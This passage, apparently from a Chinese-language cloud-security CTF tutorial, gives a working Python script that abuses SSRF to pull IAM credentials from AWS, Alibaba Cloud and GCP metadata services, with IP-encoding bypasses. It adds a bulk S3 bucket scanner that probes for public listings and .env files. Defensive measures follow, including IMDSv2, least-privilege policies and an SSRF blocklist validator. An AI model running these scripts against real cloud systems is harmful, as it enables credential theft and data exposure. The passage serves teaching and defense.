#!/usr/bin/env python3
"""
CTF 云安全进阶脚本
支持 AWS / 阿里云 / GCP 元数据服务
包含常见 SSRF 绕过技术
"""

import requests
import json
import subprocess
import re

# ============= SSRF 绕过方式 =============
def ssrf_bypass_variants(target_host):
"""生成 SSRF 绕过的各种 IP 表示形式"""
# 假设原始目标为 169.254.169.254
variants = []

# 十进制整数(169*256^3 + 254*256^2 + 169*256 + 254)
variants.append(("十进制整数", "http://2852039166"))

# 十六进制
variants.append(("十六进制", "http://0xa9.0xfe.0xa9.0xfe"))

# 混合进制
variants.append(("混合进制", "http://0xa9.0251.0xfe.0254"))

# URL Encode 点号
variants.append(("点号编码", "http://169%2e254%2e169%2e254"))

return variants

# ============= 元数据服务端点字典 =============
METADATA_ENDPOINTS = {
"AWS": {
"base": "http://169.254.169.254/latest/meta-data/",
"iam_roles": "iam/security-credentials/",
"creds_suffix": "",
"headers": {},
},
"AWS_IMDSV2": {
"base": "http://169.254.169.254/latest/meta-data/",
"iam_roles": "iam/security-credentials/",
"creds_suffix": "",
"headers": {"X-aws-ec2-metadata-token": None}, # 需要先 PUT 拿 Token
"token_endpoint": "http://169.254.169.254/latest/api/token",
},
"ALIBABA": {
"base": "http://100.100.100.200/latest/meta-data/",
"iam_roles": "ram/security-credentials/",
"creds_suffix": "",
"headers": {},
},
"GCP": {
"base": "http://metadata.google.internal/computeMetadata/v1/",
"iam_roles": "instance/service-accounts/",
"creds_suffix": "/token", # GCP 返回的格式不同
"headers": {"Metadata-Flavor": "Google"},
},
}

# ============= 利用流程 =============
def exploit(ssrf_endpoint, platform="AWS"):
"""执行完整攻击链"""
meta = METADATA_ENDPOINTS[platform]
session = requests.Session()

def fetch(path, extra_headers=None):
"""通过 SSRF 请求(这里简化,实际可能需要 URL 编码)"""
url = ssrf_endpoint + path
headers = {**meta.get("headers", {})}
if extra_headers:
headers.update(extra_headers)
try:
resp = session.get(url, headers=headers, timeout=10)
return resp.text.strip()
except Exception as e:
print(f"[-] 请求失败: {url}{e}")
return None

# Step 1: 判断厂商
print("[*] 探测元数据服务...")
root = fetch(meta["base"])
if root:
print(f"[+] 元数据服务可用({platform})")
else:
print(f"[-] {platform} 元数据服务不可达")
return None

# Step 2: 获取角色名
print("[*] 获取 IAM 角色列表...")
roles_path = meta["base"] + meta["iam_roles"]
roles = fetch(roles_path)

if not roles:
# GCP 格式不同
if platform == "GCP":
# GCP service-accounts 路径下有一个 default/ 目录
roles = "default/"
else:
print("[-] 未找到 IAM 角色")
return None

# 解析角色名
role_name = roles.strip().split("\n")[0].strip().rstrip("/")
print(f"[+] 角色名: {role_name}")

# Step 3: 获取凭证
print("[*] 获取临时凭证...")
creds_path = roles_path + role_name + meta["creds_suffix"]
creds_raw = fetch(creds_path)

if not creds_raw:
print("[-] 获取凭证失败")
return None

# 解析凭证(不同厂商格式不同)
try:
if platform == "GCP":
creds_data = json.loads(creds_raw)
access_key = creds_data.get("access_token")
# GCP access token 不是传统 AK/SK 格式
print(f"[+] GCP Access Token: {access_key[:30]}...")
return {"gcp_token": access_key}
else:
creds_data = json.loads(creds_raw)
return {
"access_key": creds_data["AccessKeyId"],
"secret_key": creds_data["SecretAccessKey"],
"session_token": creds_data.get("Token", creds_data.get("SecurityToken")),
"expiration": creds_data.get("Expiration", "N/A"),
}
except json.JSONDecodeError:
print(f"[-] 凭证 JSON 解析失败: {creds_raw[:200]}")
return None

# ============= 主逻辑 =============
if __name__ == "__main__":
import sys

ssrf_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.ctf.com/proxy?url="

for platform in ["AWS", "ALIBABA", "GCP"]:
print(f"\n{'='*50}")
print(f"尝试平台: {platform}")
print(f"{'='*50}")
creds = exploit(ssrf_url, platform)
if creds:
print(f"\n[!!!] 成功获取凭证!")
print(json.dumps(creds, indent=2, default=str))
break
else:
print("\n[-] 所有平台探测失败,尝试 SSRF 绕过变体...")
for name, variant in ssrf_bypass_variants("169.254.169.254"):
print(f"[*] 尝试绕过: {name}{variant}")

6.3 S3 公开桶批量扫描脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#!/usr/bin/env python3
"""
S3 公开桶扫描器
支持单桶探测 + 批量字典扫描
"""

import requests
import concurrent.futures
from urllib.parse import urljoin

# 常见桶名模式
PATTERNS = [
"{company}-{env}-backup",
"{company}-{env}-assets",
"{company}-{env}-logs",
"{company}-{env}-data",
"{company}-{env}-terraform",
"{company}-static",
"{company}-dev",
"{company}-prod",
"dev-{company}",
"prod-{company}",
]

ENVS = ["dev", "test", "staging", "prod", "production", "qa"]


def generate_bucket_names(company):
"""生成可能的桶名列表"""
names = set()
for pattern in PATTERNS:
if "{env}" in pattern:
for env in ENVS:
names.add(pattern.format(company=company, env=env))
else:
names.add(pattern.format(company=company))
return list(names)


def check_bucket_public(bucket_name):
"""检测 S3 桶是否为公开可读"""
urls = [
f"https://{bucket_name}.s3.amazonaws.com/",
f"https://s3.amazonaws.com/{bucket_name}/",
f"https://{bucket_name}.s3.us-east-1.amazonaws.com/",
]
for url in urls:
try:
resp = requests.get(url, timeout=8, allow_redirects=False)
if resp.status_code == 200:
# 公开且可列表
return ("PUBLIC_LIST", url, resp.text[:500])
elif resp.status_code == 403:
# 存在但拒绝列表(403 不代表私有,可能只是禁用了列表)
# 尝试直接下载常见文件
for common_file in ["index.html", "robots.txt", "README.md", ".env"]:
file_url = url.rstrip("/") + "/" + common_file
file_resp = requests.get(file_url, timeout=5)
if file_resp.status_code == 200:
return ("PUBLIC_FILE", file_url, file_resp.text[:200])
return ("EXISTS_PRIVATE", url, "")
except requests.exceptions.ConnectionError:
return ("NOT_FOUND", url, "")
except Exception as e:
return ("ERROR", url, str(e))
return ("UNKNOWN", "", "")


def scan(company_name, threads=20):
"""批量扫描"""
names = generate_bucket_names(company_name)
print(f"[*] 生成 {len(names)} 个候选桶名")
print(f"[*] 使用 {threads} 线程扫描...\n")

results = {"PUBLIC_LIST": [], "PUBLIC_FILE": [], "EXISTS_PRIVATE": []}

with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
futures = {executor.submit(check_bucket_public, name): name for name in names}
for future in concurrent.futures.as_completed(futures):
name = futures[future]
status, url, detail = future.result()
if status in results:
results[status].append((name, url, detail))
print(f"[{status}] {name}{url}")

print(f"\n{'='*50}")
print(f"扫描完成")
print(f" 公开可列表: {len(results['PUBLIC_LIST'])}")
print(f" 公开可下载文件: {len(results['PUBLIC_FILE'])}")
print(f" 存在但私有: {len(results['EXISTS_PRIVATE'])}")
print(f"{'='*50}")

return results


if __name__ == "__main__":
import sys
company = sys.argv[1] if len(sys.argv) > 1 else "example"
scan(company)

七、防御措施

7.1 云平台层面

强制启用 IMDSv2

对于 AWS 环境,这是最高优先级的防御措施。IMDSv2 要求 PUT 请求获取 Token,直接阻断了绝大多数 GET-only 的 SSRF 攻击。

1
2
3
4
5
6
7
8
9
10
# 为新实例设置默认使用 IMDSv2
aws ec2 modify-instance-metadata-options \
--instance-id i-xxxxxxxxx \
--http-tokens required \
--http-endpoint enabled

# 使用实例元数据选项启动新实例时:
aws ec2 run-instances \
--metadata-options "HttpTokens=required,HttpEndpoint=enabled" \
...

阿里云也可以开启”仅 Token 模式”:

1
2
3
4
# 阿里云 CLI
aliyun ecs ModifyInstanceMetadataOptions \
--InstanceId i-xxxxxxxxx \
--HttpTokens required

元数据服务端点数限制

1
2
3
4
# AWS: 限制元数据服务的跳数(hops = 1 意味着只有本机可达)
aws ec2 modify-instance-metadata-options \
--instance-id i-xxxxxxxxx \
--http-put-response-hop-limit 1

最小权限原则

每个 IAM 角色的权限应该精确到最小需求:

1
2
3
4
5
{
"Effect": "Allow",
"Action": ["s3:GetObject"],
"Resource": "arn:aws:s3:::my-app-data/*"
}

而不是:

1
2
3
4
5
{
"Effect": "Allow",
"Action": "s3:*",
"Resource": "*"
}

定期审计 IAM 权限:

1
2
3
4
5
# 使用 IAM Access Analyzer 分析角色权限
aws accessanalyzer list-findings --analyzer-arn arn:aws:access-analyzer:...

# 使用第三方工具 ScoutSuite 或 Prowler
prowler aws --checks iam

S3 Block Public Access

确保在所有桶上启用 Block Public Access:

1
2
3
4
5
6
7
8
9
10
11
# 账户级:阻止所有桶的公开访问
aws s3control put-public-access-block \
--account-id 123456789012 \
--public-access-block-configuration \
BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true

# 桶级:
aws s3api put-public-access-block \
--bucket my-bucket \
--public-access-block-configuration \
BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true

开启 CloudTrail 全量审计

1
2
3
4
5
6
# 创建 Trail 并记录所有区域所有事件
aws cloudtrail create-trail --name security-audit --s3-bucket-name audit-logs --is-multi-region-trail
aws cloudtrail start-logging --name security-audit

# 创建 Log Metric Filter 告警
# 检测 Root 账号使用、S3 公开桶创建、安全组开 0.0.0.0/0 等

7.2 应用层面

SSRF 防御

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# Python 应用层 SSRF 防御示例
import ipaddress
import socket
from urllib.parse import urlparse

BLOCKED_NETWORKS = [
ipaddress.ip_network("127.0.0.0/8"), # loopback
ipaddress.ip_network("10.0.0.0/8"), # private
ipaddress.ip_network("172.16.0.0/12"), # private
ipaddress.ip_network("192.168.0.0/16"), # private
ipaddress.ip_network("169.254.0.0/16"), # link-local (metadata!)
ipaddress.ip_network("100.100.100.200/32"), # aliyun metadata
ipaddress.ip_network("0.0.0.0/8"), # current network
]

def is_safe_url(url):
"""检查 URL 是否指向内网地址"""
parsed = urlparse(url)
hostname = parsed.hostname

# Step 1: DNS 解析
try:
ips = [ip[4][0] for ip in socket.getaddrinfo(hostname, None)]
except socket.gaierror:
return False

# Step 2: 检查每个解析出的 IP
for ip_str in ips:
ip = ipaddress.ip_address(ip_str)
for network in BLOCKED_NETWORKS:
if ip in network:
return False # 内网地址,拒绝

# Step 3: DNS Rebinding 防御 —— 解析两次,检查一致性
ips2 = [ip[4][0] for ip in socket.getaddrinfo(hostname, None)]
if ips != ips2:
return False # IP 变了,可能是 Rebinding

return True

应用日志脱敏

不要在日志、错误消息、调试页面中暴露完整的 AWS 凭证、预签名 URL 或内部 IP。


参考资源

  1. AWS 官方文档 - 实例元数据服务: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html
  2. AWS 安全最佳实践: https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html
  3. 阿里云 ECS 实例元数据: https://help.aliyun.com/document_detail/49122.html
  4. GCP 实例元数据: https://cloud.google.com/compute/docs/metadata/overview
  5. Azure 实例元数据: https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service
  6. HackTricks - AWS Security: https://cloud.hacktricks.xyz/pentesting-cloud/aws-security
  7. Prowler - AWS 安全审计工具: https://github.com/prowler-cloud/prowler
  8. ScoutSuite - 多云安全审计: https://github.com/nccgroup/ScoutSuite
  9. CloudGoat - AWS 安全靶场: https://github.com/RhinoSecurityLabs/cloudgoat
  10. flAWS 挑战: http://flaws.cloud/http://flaws2.cloud/
  11. AWS IAM 提权方法汇总: https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation
  12. CTF Wiki - SSRF: https://ctf-wiki.org/web/ssrf/